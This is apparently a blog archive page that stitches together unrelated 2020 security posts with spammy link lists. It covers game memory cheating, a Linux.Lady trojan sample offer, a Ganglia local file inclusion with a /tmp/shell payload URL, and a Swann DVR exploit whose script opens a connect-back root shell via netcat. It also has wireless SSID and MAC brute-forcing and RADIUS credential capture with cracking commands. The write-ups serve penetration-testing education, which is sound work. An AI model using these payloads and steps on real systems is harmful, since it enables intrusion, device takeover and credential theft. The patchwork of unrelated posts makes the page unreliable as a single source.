Sabtu, 25 April 2020

Hacking Freemium Games - The Evolution Of PC Game Cheating

This post is going to be a rather strange post compared to previous ones. But bear with me, in the middle of the post you will see why this post fits the IT security topic.

I'm also terribly sorry for not posting recently, but I was busy with my SPSE and SLAE certification. Both are recommended for Python and Assembly noobs like me. But back to this post.

A little bit of history

Cheating in games started as help for game testers. By using invincibility or infinite ammo testers were able to test the game quicker, which meant less money spent on testing. I personally use cheat codes in games, depending on my mood. Sometimes it feels good to slash all the opponents while I'm invincible, sometimes it is more fun to play the game without cheats. One can argue whether cheating in games is OK or not, but I believe it depends, there is no black or white. But one thing is for sure, it is part of the gaming industry. There is huge demand for cheats. There were even cheat books printed on paper...


The different types of cheats (on PC)

There are different types of cheats in PC gaming. Following is a noncomplete list of these cheats:

Cheat codes

The good old IDDQD type of cheats. These are left in the game by the developers intentionally. Nothing interesting here.

Edit memory

This is my favorite. I will talk about this at the end of the post. Whenever a user launches a new program, the program's whole memory is accessible (read/write) to every other program launched by the user. And since the memory stores the current game state (health, ammo, armor, etc.), these values can be changed easily. In the good old times, there were POKE commands to do this cheats, and the memory address to write into was published by people who found where the game stores the most critical states about the game.

Code injection

This is like patching the game code. For example, one can change the "DEC (pointer to your current health)" instruction with NOP (do nothing), thus becoming invincible. In multi-player cheats, there is the aimbot to help you aim at enemies, wallhack to see through the wall, increase hitbox of the enemy for smoother hit, or in MMORPGs, one can write macros to collect items while the player is not online. I would say the so-called "trainers" more or less fit into this category and the previous one.

Saved game editor

The first time a kid meets a hex-editor (just like the co-author of this blog did with SIM City when he was 10 years old - David). It can teach a lot about file structures, the hexadecimal numeral system, etc. Fun times. 

Hacking game server

Not very common, but even more fun. Warning: endless trolling possibilities in multi-player games ahead :) How to hack a game server? Well, I think this might deserve another full blog post ...

Network traffic hacking

One last necessary type of cheating is to modify network traffic between the client and the game server. AFAIK SSL is not universal in gaming, so stunnel is not needed for this hack, but ettercap can help in changing the communication.

Why cheating becomes more critical (and challenging)?

Now in the age of in-app-payments, the game creators are no longer thinking about cheats as funny things but something to be destroyed to the ground. Because cheating decreases its revenue. Or not. At least they think it does. To quote Wikipedia here, "cheating in such games is nonetheless a legal grey area because there are no laws against modifying software which is already owned, as detailed in the Digital Millennium Copyright Act." 

A lot of online games include anti-cheating components like PunkBuster, nProtect GameGuard, or Valve Anti-Cheat. This whole cheating/anti-cheating industry is the same as the virus/anti-virus industry. A cat and mouse game.

Freemium games

If you have not played with "freemium" games, you should watch South Park season 18, episode 6. - "Freemium Isn't Free." If you did play with freemium games, you definitely have to watch it :) There are many problems with freemium games. It is free to install, free to play. The first 3-4 hours might be fun to play. But after that, it turns out it is impossible to advance in the game without paying money for it. And by spending cash, I mean spending a LOT! Let's have a look at today's example, an arcade racing video game.


For 99.99 USD, you can get 3 000 000 credit. For almost double the price of a new PC game, you can get these credits. In this particular game, I estimate one have to play ~6-24 hours constantly to get this amount of credit. But by playing ~6 hours, I mean 6 hours without progress in the game! Kind of boring. And what do you get from 3 000 000 credit? You can buy one of the most expensive cars, but can't tune them fully. You have to play more (without progress) or buy more. But guess what, there are more cars you can't buy by only playing the game. Those are only available via in-app-purchase.


Even though the player has 58 765 533 credits, it is not possible to buy this car. Only available through real money.


So, what are your possibilities? You are either Richie Rich, and can afford the money to buy these. Or you can be insane, and try to play the game without in-app-purchase. Or give up the game and try another freemium ... Or, you can try to hack the game!

Hack all the freemium games!

Although I was not playing this racing game from day one, I was able to witness the evolution of the cheats against this game. The cheats which worked in one day was not working one month later. The game is continuously updated to defeat the newly published cheats.

Noob start

So, I want to hack this game, what is the first thing a noob like me does? Bing it! Google it! 
From the first page result, let's check this tool:


While trying to download that, I just have to give my email address to spammers, or my mobile number will be subscribed to premium rate text messages. What fun.


Another "cheat" program will install malware/adware on your computer. Never ever try these programs. They are fake 99% of the time and after installing those you will have another problem, not just how to hack freemium games.

Beginners start - Cheat engine

When I first heard about hacking games in memory, I visualized hours of OllyDBG/ImmunityDBG/(insert your favorite Windows debugger here). It turned out, there are some specialized tools to help you with cheating the game. No assembly knowledge required. My favourite tool is CheatEngine. I highly recommend to download it and spend 10 minutes to get past the built-in tutorial levels to get a feeling about this tool. It's super duper awesome.



When I first tried to hack this game myself, I scanned the memory for my actual credit and tried to change that, no luck. Keep reading, you will see what happened.

The second cheat I tried with cheat engine was something like this
  1. Start the game, play the first level, and check how many credits is paid for winning the race. Pro tip: use dual display for full-screen game cheating.
  2. Restart the same level, attach Cheat Engine to the game's process
  3. Scan the memory for the same value at the beginning of the race
  4. Scan the memory for the same value at the end of the game. The intersect of the first and second scan includes the real value where the credit is stored for winning the race.
  5. Change the values (both the real one and some false positives) to something big
  6. Watch the game to crash
  7. Be amazed at the money you received
Nowadays, most of the cheats on YouTube does not work. Except for these kind of cheats. I don't want to recreate that tutorial, so you should watch it first then come back.



Are you back? Great. Do you have any idea what have you just seen? No? Well, in this case, don't try this at home. Copy-pasting assembly code from random internet posts and running on your computer is always a bad idea. It is precisely as risky as downloading free programs from random internet sites.

Although I have not seen people trolling others with this cheat engine type of shellcode, I think the time will come when these will be turned into something terrible. These shellcodes might work, or might harm your computer. The good news is, we can have a look at the code and analyze it. 

When you open CheatEngine and try to define a new custom type, you are greeted with a skeleton assembly code. I don't want to detail what all the skeleton code does, let's just focus on the difference between the skeleton code and the code used in the video. This is the "decrypt function":

xor eax, 0baadf00d
rol eax, 0e

What does it mean? The actual credit is encrypted in memory. If you want to scan it in memory, you won't be able to find it. But! The encryption is rotating the value to the right (ROR) with 0xE (14 in decimal), and after that, it is XOR-ed with 0xbaadf00d. Decrypting it is the inverse of the functions in reverse order (in this particular case, the order does not matter, but that's not the point). The inverse function of XOR is XOR, and the inverse function of ROR (rotate right) is ROL (rotate left). Now that we analyzed the assembly code, we can be sure that it is safe to execute. Just follow the video and see your coins falling from the sky. For free. In a freemium game. Have fun!

Encrypt memory - applications at financial institutions

Another exciting thing is that I don't recall any thick client applications in the financial industry encrypting the values in memory. And I agree, there are more significant problems with thick client applications than not encrypting the essential values in memory. But still, some thick client applications are regularly updated, maintained. Maybe it is a good idea to encrypt the values in memory. It will make attackers' life harder. Not impossible, but harder. Perhaps the developers of these applications should learn from the gaming industry (or from malware developers for that matter) because it is a shame that an arcade racing game or an FPS is protected better than an application responsible for transacting millions of dollars. Just think about the RAM scraping malware stealing millions of credit card data ...

Moral of the story

Cheating is part of the gaming history, and the freemium games are trying to take away the cheats from the gamers because they want money. Thanks to CheatEngine and some clever hacks, these programs can be still beaten. And guess what, there is CheatEngine for Android - although it did not work for me on the latest Android. And sometimes, hacking all kinds of applications can be more comfortable with CheatEngine, compared to traditional debuggers.

Also, always check the code before executing it! And when you find something cool, publish it, so everyone could enjoy the games!


Related news


"I Am Lady" Linux.Lady Trojan Samples



Bitcoin mining malware for Linux servers - samples
Research: Dr. Web. Linux.Lady

Sample Credit:  Tim Strazzere

MD5 list:

0DE8BCA756744F7F2BDB732E3267C3F4
55952F4F41A184503C467141B6171BA7
86AC68E5B09D1C4B157193BB6CB34007
E2CACA9626ED93C3D137FDF494FDAE7C
E9423E072AD5A31A80A31FC1F525D614



Download. Email me if you need the password.
More information
  1. Hacking Growth Sean Ellis
  2. Crack Definicion
  3. Curso Hacking Etico Gratis
  4. Hacking Usb
  5. Hacking Netflix Account
  6. Aprender A Hackear Desde Cero
  7. Blackhat Hacking

Ganglia Monitoring System LFI


Awhile back when doing a pentest I ran into an interesting web application on a server that was acting as a gateway into a juicy environment *cough*pci*cough*, the application was "Ganglia Monitoring System" http://ganglia.sourceforge.net
The scope of the test was extremely limited and it wasn't looking good....the host that was in scope had a ton of little stuff but nothing that looked like it would give me a solid foothold into the target network. After spending some time looking for obvious ways into the system I figured it would be worth looking at the Ganglia application, especially since I could find no public exploits for the app in the usual places....

First step was to build a lab up on a VM (ubuntu)
apt-get install ganglia-webfrontend

After apt was done doing its thing I went ahead and started poking around in the web front end files (/usr/share/ganglia-webfrontend). I looked to see if the application had any sort of admin functionality that I could abuse or some sort of insecure direct object reference issues. Nothing looked good. I moved on to auditing the php.

Started out with a simple grep looking for php includes that used a variable....bingo.

steponequit@steponequit-desktop:/usr/share/ganglia-webfrontend$ egrep 'include.*\$' *
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $tpl_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: if( isset( $this->tpl_include[ $regs[2] ]) )
class.TemplatePower.inc.php: $include_file = $this->tpl_include[ $regs[2] ][0];
class.TemplatePower.inc.php: $type = $this->tpl_include[ $regs[2] ][1];
class.TemplatePower.inc.php: $include_file = $regs[2];
class.TemplatePower.inc.php: if( !@include_once( $include_file ) )
class.TemplatePower.inc.php: $this->__errorAlert( 'TemplatePower Error: Couldn\'t include script [ '. $include_file .' ]!' );
class.TemplatePower.inc.php: $this->tpl_include["$iblockname"] = Array( $value, $type );
graph.php: include_once($graph_file);
The graph.php line jumped out at me. Looking into the file it was obvious this variable was built from user input :)
$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : NULL;
....
....
....
$graph_file = "$graphdir/$graph.php";


Taking at look at the "sanitize" function I can see this shouldn't upset any file include fun

function sanitize ( $string ) {
return escapeshellcmd( clean_string( rawurldecode( $string ) ) ) ;
}

#-------------------------------------------------------------------------------
# If arg is a valid number, return it. Otherwise, return null.
function clean_number( $value )
{
return is_numeric( $value ) ? $value : null;
}
Going back to the graph.php file

$graph_file = "$graphdir/$graph.php";

if ( is_readable($graph_file) ) {
include_once($graph_file);

$graph_function = "graph_${graph}";
$graph_function($rrdtool_graph); // Pass by reference call, $rrdtool_graph modified inplace
} else {
/* Bad stuff happened. */
error_log("Tried to load graph file [$graph_file], but failed. Invalid graph, aborting.");
exit();
}

We can see here that our $graph value is inserted into the target string $graph_file with a directory on the front and a php extension on the end. The script then checks to make sure it can read the file that has been specified and finally includes it, looks good to me :).
The start of our string is defined in conf.php as "$graphdir='./graph.d'", this poses no issue as we can traverse back to the root of the file system using "../../../../../../../../". The part that does pose some annoyance is that our target file must end with ".php". So on my lab box I put a php file (phpinfo) in "/tmp" and tried including it...


Win. Not ideal, but it could work....

Going back to the real environment with this it was possible to leverage this seemingly limited vulnerability by putting a file (php shell) on the nfs server that was being used by the target server, this information was gathered from a seemingly low vuln - "public" snmp string. Once the file was placed on nfs it was only a matter of making the include call. All in a hard days work.

I have also briefly looked at the latest version of the Ganglia web front end code and it appears that this vuln still exists (graph.php)

$graph = isset($_GET["g"]) ? sanitize ( $_GET["g"] ) : "metric";
...
...
...
$php_report_file = $conf['graphdir'] . "/" . $graph . ".php";
$json_report_file = $conf['graphdir'] . "/" . $graph . ".json";
if( is_file( $php_report_file ) ) {
include_once $php_report_file;


tl;dr; wrap up - "Ganglia Monitoring System" http://ganglia.sourceforge.net contains a LFI vulnerability in the "graph.php" file. Any local php files can be included by passing its location to the "g" parameter - http://example.com/ganglia/graph.php?g=../../../../../../../tmp/shell

Related word


Jumat, 24 April 2020

Swann Song - DVR Insecurity

"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.

I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)

After opening the device up something grabbed my attention right away....

The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port :)

After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.

Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:
setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single



This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".


Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:
python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456
Script can be found here.

After owning the device at the "application" level, I figured it was time to go deeper.

Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:


"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.
Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.

tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
Read more

Rabu, 22 April 2020

Wireless Scenarios Part 1: EAP-Radius JTR Hashcat, SSID MAC Issues And More

Intro: 
I have been on a number of wireless engagements again lately and much like the wireless blog i wrote over a year ago i am trying various combinations of techniques and tools in conjunction to gain access to networks. I will show a range of tools and techniques mostly as a reminder to myself. The format will be scenario based on what i have been seeing while testing.  Some of these tools include JTR/Hashcat with specialized rulesets, mdk3 for SSID/MAC bruteforcing, evil access points for bypassing guest networks, DNS redirection/tunneling as well as radius-wpe attacks etc... This will be a 2 part blog, first blog being more Pre-Auth attacks and the second blog being more client attacks.



Finding Hidden SSID's and Limited user network attacks:
Recently i have been on a lot of tests where administrators think its a wonderful idea to hide their SSID's. Administrators feel that if they hide their SSID's they are magically secure. While Cloaked SSID's may pose a slight problem it's not a security feature. Especially when hiding WEP encrypted networks. One issue that keeps coming up is hidden networks with NO clients thus no probe request/response traffic available to passively capture an SSID. Without clients you can't de-authenticate and force reconnections requests with SSID's. To top that off administrators are also running another trivial security feature known as MAC filtering. While MAC filtering is also easy to bypass, again there are no clients on the network so we must come up with strategies to figure out both the SSID's and the possible client MAC addresses. Lets start by addressing the SSID issue.
SSID's can generally be seen in the Beacon traffic. However, if MAC cloaking or hidden SSID's are enabled on your access point they are stripped from the beacon traffic. Striping the beacons of SSID's is usually not a problem if there are clients looking to join the network. As the SSID's must be sent in probe traffic to successfully inquire about joining the network, and SSID's are than easily obtained. Thus why tools like kismet can passively discover the correct SSID given a bit of time and a few clients probing for the hidden network. But, what happens if there is no client traffic?
So the actual scenario i was presented with recently was a Cloaked SSID on a limited use network running WEP, which had a MAC filtered client device. This device would attach to the network once a day for a limited amount of time. So the first piece of the puzzle would be figuring out the SSID for later use then tackling the rest of the problem.

We start with a nice little tool called MDK3 which can be used to send out mass SSID requests in either dictionary style or bruteforce in order to determine an SSID. Lets start with the simple syntax then get into some more fine tuned strategies for determining SSID's based on the mind of the sysadmin.

There are 2 modes i have been using, one is dictionary mode and the other bruteforce mode, i would always start with dictionary because its faster. If a dictionary gives no resultes then move to bruteforce techniques. Also have your Airodump-ng/Kismet running during the attack and if the SSID is found it should apear in there as well as your MDK3 results window. You can get your target BSSID value from airodump along with useful information sometimes regarding length of a hidden SSID value which can be used in fine tuning bruteforcing. MDK3 will automatically pick the correct length and then begin bruteforcing based on that length value:

Below is an example of SSID Length Output: 
CH 6 ][ Elapsed: 8 s ][ 2012-03-01 21:08
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

00:24:A5:6F:2E:D5 -59 5 0 0 5 54 WEP WEP length: 12
00:1A:A1:05:E8:20 -61 2 0 0 3 48 . WEP WEP length: 1
00:24:A5:6F:37:9F -64 2 0 0 5 54 WEP WEP length: 12

You will notice example output above says that one SSID is of length 12 and another is of length 1, these are the SSID perceived length values based on values in the packet capture. Not always accurate because these values are just Null place holder values and not always set accurately. Essentially one SSID packet above has a one null value while the other packet has 12 null values as placeholders. If a length of 1 is present you may have to start at 1 and go through the whole range of brute forcing. If the length is known then you can start and end at 12 in this case shortening the full bruteforce time considerably.

Attack Modes and Info:
Dictionary Mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -f [dictionary] -s 100

Bruteforce mode:
./mdk3 [Interface] p -c 1 -t [BSSID] -b u -s 100

Above Switch mappings are defined as the following:
b = bruteforce also can add a character set b [charset]
s = packet speed
c = channel
f = ssid dictionary file

I first tried a regular dictionary attack of common words:
ficti0n:# mdk3 mon0 p -c 1 -t 00:01:55:B1:A3:A5 -f english.txt
channel set to: 1
SSID Wordlist Mode activated!
Waiting for beacon frame from target...
Sniffer thread started
Found SSID length 1, usually a placeholder, no information about real SSIDs length available.
Trying SSID:
Packets sent: 1 - Speed: 1 packets/sec
Got response from 03:F0:9F:17:08:32, SSID: "Secure_Access"
Last try was: (null)
Trying SSID: beauty
Packets sent: 167 - Speed: 166 packets/sec
Got response from 03:F0:9F:17:08:33, SSID: "Guest_Access"
Last try was: (null)
Trying SSID: bianca
Trying SSID: winnie
Trying SSID: isabella
Trying SSID: sierra
Trying SSID: 00000000
Trying SSID: dancer1
Packets sent: 32507 - Speed: 376 packets/sec
Got response from 00:3B:10:47:33:32, SSID: "wow"

I began with a dictionary against a network address i got from my initial airodump-ng. On my first MDK3 run i found one new access point named "wow" but i didnt find the target AP's SSID. If you look at the above MDK3 output there are 2 other networks with similar formats which may reflect our target networks format. Below you will see a similar format.
  • Guest_Access
  • Secure_Access
Creating a Custom dictionary based on observations:
If the target company has a repeating SSID format we can create our own dictionary file. According to the above output the format is [Word]_Access, we can take advantage of this by creating a new list with python using the company format. Break open your python editor and create a quick script to parse the english dictionary in the proper format for our attack by uppercasing every dictionary word and appending the word "Access".

#--------------------------------------------------------------
#!/usr/bin/python

dictionary = open("rockyou-75.txt", "r")
SSID_List = open("SSID_List.txt", "a")


for word in dictionary:
word = str.capitalize(word) + "Access"
SSID_List.write(word)


SSID_List.close()
dictionary.close()

#----------------------------------------------------------------

I then ran MDK3 again with my modified list. When this was done I then was able to get a response from MDK3 and determine the SSID of the target network, shown below.

Got response from 00:01:55:B1:A3:A5, SSID: "Secret_Access"


Luckily i didn't have to resort to a true bruteforce attack although the format is shown above for completeness. 



MDK3 MAC address Bruteforce:
The next issue is that of determining a valid MAC address on a network without any known clients, this can also be done with MDK3 and bruteforce mode.  I would suggest looking at other client MAC addresses on the guest or corporate networks as a starting point. Then use those vendor startpoints as your bruteforce values. So if for example you know a bit about the company based on other network MAC values you can use this knowledge in your brute forcing with the -f switch. Below is a basic command ouput for bruteforcing MAC address filters.


ficti0n:# mdk3 mon0 f -t

Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 0 retries
Trying MAC 00:00:22:00:00:00 with 100.0000 ms timeout at 0 MACs per second and 1 retries
Packets sent: 2 - Speed: 1 packets/sec

Found a valid MAC adress: 00:00:22:00:00:00
Have a nice day! :)

Mdk3 -fullhelp output:
--------------------------------------------------------------

MAC filter bruteforce mode
This test uses a list of known client MAC Adresses and tries to
authenticate them to the given AP while dynamically changing
its response timeout for best performance. It currently works only
on APs who deny an open authentication request properly
-t
Target BSSID
-m
Set the MAC adress range to use (3 bytes, i.e. 00:12:34)
Without -m, the internal database will be used
-f
Set the MAC adress to begin bruteforcing with
(Note: You can't use -f and -m at the same time)
---------------------------------------------------------------------

I wasn't aware of the above technique at the time of testing but i did give it a try on a local Access Point and found a useable mac address under contrived scenarios. So this was worth noting as I found almost zero mention of it when searching around. Also note that some access points do not properly handle the authentication scenarios in which case the above technique will not work correctly. Usually the user sends an auth request and then the AP sends an auth response denoting success or failure along with an error code, but MAC filering is not part of the normal standard so results will vary regarding error codes. This is AP functionality independent. When it does work it gives you a little smily face and says it found a useable MAC address [SHOWN ABOVE] . Unfortunately in my penetration test I was stuck waiting for a client to come online to get a useable MAC address. Below are a few ideas for the rest of the scenario.


Depending on the location and use of the limited connectivity device there are a few options available for retrieving the WEP key. Networks with hidden SSID's have clients who are always probing for hidden networks whether onsite or remote. You could attack a client directly via a Cafe Latte attack. A Caffe Latte attack woud attack a client with a fake access point and gratuitas ARP requests to discover the WEP key of "Secret_Access" by flooding the client with ARP requests it responds to, generating enough traffic to derive the WEP key. This technique is useful now that you know the SSID, especially if the device is being used at the local coffee shop. I will take a look at this attack in the next blog when focusing on client based attacks.

Caffe Latte was not a good option for me because the device appears online for a short period of time and might not be available either offsite at a coffee shop or even locally long enough to generate enough traffic to crack the network. In this test I however didn't have enough time to see client actually get online but had I see the client get online I would have noted his MAC address and then configured a chop chop or fragmentation attack against the network whether the client was available or not all i would really need is one data packet. I will not illustrate this whole technique as it is fully covered in the following link Cracking WEP with no Clients.


Cracking Radius /PEAP/TTLS Hashes: (Post EAP Attack)
This is about attacking hashes from WPE Radius attacks, but just as a reference before we start here is a quick radius attack setup guide without going into to much detail.


Steps to Setup WPE attack
  1. Install the following freeradius server and WPE patch. http://blog.opensecurityresearch.com/2011/09/freeradius-wpe-updated.html
  2. Start your WPE server by typing 'radiusd'
  3. Tail your log file so you can see incoming credentials 'tail -f /usr/local/var/log/radius/freeradius-server-wpe.log
  4. Setup an access point with similar settings as to what you are seeing in airodump or wireshark essentially this will be a WPA Enterprise with AES and a default secret of 'test' which is set in the WPE installed package by default so it can talk between the AP and the radius server. You will also need to run an ifconfig on your radius server box so you know what address to point the AP too.
  5. Optionally you can use hostAP instead of a physical enterprise AP setup.

Use one of your local computers to connect to the FreeRadius wireless network and type in a fake username/password to grab an example hash. If you dont see your hash output in the logfile then double check all your ip addresses and insure your server is running. In a real attack you would wait for clients to attach to your Access point and the credentials will be forwarded to your FreeRadius-WPE server. Once this is done the fun begins and also where we will start in our attack scenario.

Formatting hashes:
Your hashes can come in a few formats, they might come back as PAP responses in which case they will be plain text passwords. Plaintext PAP can sometimes be a result of mobile devices sending paswords. Otherwise your attack will result in MSChap password challenge/response hashes. Once you receive your MSChap hashes they have to be formated in a specific way in order to crack them. Here is an example hash and the proper format to use before trying to crack the hashes.

Example Hash:
mschap: Mon Feb 05 19:35:59 2012
username: test
challenge: b3:f8:48:e9:db:02:22:83
response: 15:36:d7:e9:da:43:1f:5f:d2:4b:51:53:87:89:63:b7:12:26:7c:a8:f7:ea:9c:26

Formated for john:(username::::response:challenge)
test::::1536d7e9da431f5fd24b5153878963b712267ca8f7ea9c26:b3f848e9db022283

Tool to automate this: (Tool Link)
One of my friends wrote a python script that will take your freeradius-server-wpe.log as input and format out all of the hashes one per line.. The script output can be fed directly into John The Ripper(JTR).

JTR Cracking and Custom Rulesets:
One way to crack these hashes is to use JTR with a bunch of dictionary attacks and if that fails procede from there with custom korelogic rulesets. Check out preceding link for more info on password cracking techniques which can be employed in addition to this blog. Below I will reiterate a few points on setting up JTR with custom rulesets from the Defcon challenge in 2010 based on the previous link and then how to parse them out and use them.

The first thing to note is that the format of the hashes you get from WPE will generally be considered NETNTLM within JTR so we will have to specify that as well as the wordlists we would like to use to start.

Dictionary attacking first:
First go into your JTR directory and try to crack with some dictionaries of your choosing:
ficti0n:# cd Desktop/Tools\ /john/run
ficti0n:# ./john --wordlist=wordlists/wpa.txt --format=NETNTLM JohnFormat.txt

Loaded 1 password hash (NTLMv1 C/R MD4 DES [netntlm])
test             (test)
guesses: 1  time: 0:00:00:00 100.00% (ETA: Tue Mar 20 19:29:31 2012)  c/s: 692441  trying: test

Custom Rules: korelogic rulesets (Link)
If the cracking fails on all of your wordlists then try installing custom rulesets with the following sequence of commands meant do download and then append the rules to the current john file. The following command can also be found at the above Korelogic link.
ficti0n:# wget http://contest-2010.korelogic.com/rules.txt
ficti0n:# cat rules.txt >> john.conf


Once this is done you can directly specify any rule in the file similar to the following:
ficti0n:# ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:KoreLogicRulesAppendNum_AddSpecialEverywhere johnFormat.txt


Or if you are time independent just let them all rip and go on vacation and check the results when you get back LOL
ficti0n:# for ruleset in `grep KoreLogicRules john.conf | cut -d: -f 2 | cut -d\] -f 1`; do ./john --wordlist=wordlists/english.txt --format=NETNTLM --rules:${ruleset} JohnFormat.txt; done


Hashcat rulesets and building pasword files:
Another way to build complex password files is to use tools like HashCat with supplied password rules and pipe it out to STDOut, either into a file or the STDIn of other cracking programs like John the Ripper. There is a rules folder in HashCat which has a number of rules provided by default.


Available Hashcat Rules:
ficti0n:# ls
best64.rule      generated.rule   passwordspro.rule  T0XlC.rule     toggles3.rule
combinator.rule  leetspeak.rule   perfect.rule       toggles1.rule  toggles4.rule
d3ad0ne.rule     oscommerce.rule  specific.rule      toggles2.rule  toggles5.rule

Creating Passwords with Hashcat and a dictionary:
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/cain.txt --stdout

You can also pipe passwords directly into JTR from hashcat output but its really slow so I suggest you make a world list then load it up with --wordlist, but the example is shown below.

Piping Hashcat password rules into JTR: (really slow)
ficti0n:# ./hashcat-cli32.bin -r rules/passwordspro.rule ../wordlists/rockyou-75.txt --stdout |/pentest/passwords/john/john --format=NETNTLM JohnFormat.txt --stdin


I hope someone finds my above notes useful, I am going to write up some client side attack stuff as well and post it up here... Let me know if you have any questions or need more clarification on anything covered in the blogs. 

More information


  1. Tipos De Hacker
  2. Ethical Hacking Curso
  3. Que Es Hacker En Informatica
  4. Como Ser Hacker
  5. Paginas De Hackers
  6. Hacking Ético Con Herramientas Python Pdf
  7. Definicion De Cracker

New Printers Vulnerable To Old Languages

When we published our research on network printer security at the beginning of the year, one major point of criticism was that the tested printers models had been quite old. This is a legitimate argument. Most of the evaluated devices had been in use at our university for years and one may raise the question if new printers share the same weaknesses.

35 year old bugs features

The key point here is that we exploited PostScript and PJL interpreters. Both printer languages are ancient, de-facto standards and still supported by almost any laser printer out there. And as it seems, they are not going to disappear anytime soon. Recently, we got the chance to test a $2,799 HP PageWide Color Flow MFP 586 brand-new high-end printer. Like its various predecessors, the device was vulnerable to the following attacks:
  • Capture print jobs of other users if they used PostScript as a printer driver; This is done by first infecting the device with PostScript code
  • Manipulate printouts of other users (overlay graphics, introduce misspellings, etc.) by infecting the device with PostScript malware
  • List, read from and write to files on the printers file system with PostScript as well as PJL functions; limited to certain directories
  • Recover passwords for PostScript and PJL credentials; This is not an attack per se but the implementation makes brute-force rather easy
  • Launch denial of Service attacks of various kinds:

Now exploitable from the web

All attacks can be carried out by anyone who can print, which includes:
Note that the product was tested in the default configuration. To be fair, one has to say that the HP PageWide Color Flow MFP 586 allows strong, Kerberos based user authentication. The permission to print, and therefore to attack the device, can be be limited to certain employees, if configured correctly. The attacks can be easily reproduced using our PRET software. We informed HP's Software Security Response Team (SSRT) in February.

Conclusion: Christian Slater is right

PostScript and PJL based security weaknesses have been present in laser printers for decades. Both languages make no clear distinction between page description and printer control functionality. Using the very same channel for data (to be printed) and code (to control the device) makes printers insecure by design. Manufacturers however are hard to blame. When the languages were invented, printers used to be connected to a computer's parallel or serial port. No one probably thought about taking over a printer from the web (actually the WWW did not even exist, when PostScript was invented back in 1982). So, what to do? Cutting support for established and reliable languages like PostScript from one day to the next would break compatibility with existing printer drivers. As long as we have legacy languages, we need workarounds to mitigate the risks. Otherwise, "The Wolf" like scenarios can get very real in your office…

Related links


Structure Part I: The Basics

 

Today we are going to go through Structures from defining structures to using structures.
Structures are just a collection of different types under one roof (you can even put one type only!). So that means they give you flexibility of grouping different data types (like int, char, or even char[]) under one name.
So let us start with obviously defining a Structure. In `C` we declare a structure as simply as this:-
struct dob {
    int day;
    int month;
    int year;
};
1: In the above code segment struct is a keyword which defines structure.
